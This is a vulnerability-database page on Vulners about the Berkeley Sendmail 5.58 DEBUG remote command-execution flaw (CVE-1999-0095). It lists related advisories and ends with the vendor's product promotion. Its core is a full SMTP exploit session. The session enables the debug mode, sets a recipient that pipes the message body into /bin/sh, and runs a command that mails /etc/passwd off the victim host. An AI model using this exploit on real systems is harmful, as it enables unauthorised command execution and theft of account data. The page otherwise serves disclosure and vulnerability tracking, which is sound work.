Berkeley Sendmail 5.58 - Debug
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
 | Exim 4.87 < 4.91 - (Local / Remote) Command Execution Exploit | 7 Jun 201900:00 | – | zdt |
 | Sendmail DEBUG Arbitrary Command Execution | 18 Aug 200400:00 | – | nessus |
| Sendmail DEBUG/WIZ Remote Command Execution | 22 Aug 199900:00 | – | nessus |
 | CVE-1999-0095 | 26 Jul 202520:42 | – | circl |
 | CVE-1999-0095 | 29 Sep 199904:00 | – | cve |
 | CVE-1999-0095 | 29 Sep 199904:00 | – | cvelist |
 | Exim 4.87 4.91 - (Local Remote) Command Execution | 5 Jun 201900:00 | – | exploitpack |
 | CVE-1999-0095 | 1 Oct 198804:00 | – | nvd |
 | Sendmail DEBUG Command Enabled | 26 Mar 200600:00 | – | openvas |
 | PT-1988-1001 · Sendmail · Sendmail | 1 Oct 198800:00 | – | ptsecurity |
10
220 mail.victim.com SMTP
helo attacker.com
250 Hello attacker.com, pleased to meet you.
debug
200 OK
mail from: </dev/null>
250 OK
rcpt to:<|sed -e '1,/^$/'d | /bin/sh ; exit 0">
250 OK
data
354 Start mail input; end with <CRLF>.<CRLF>
mail [email protected] </etc/passwd
.
250 OK
quit
221 mail.victim.com Terminating
The sed in the receipient strips all mail headers from the
message before passing it on to the shell.Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
25 Sep 2017 00:00Current
7.2High risk
Vulners AI Score7.2
CVSS 210
EPSS0.16446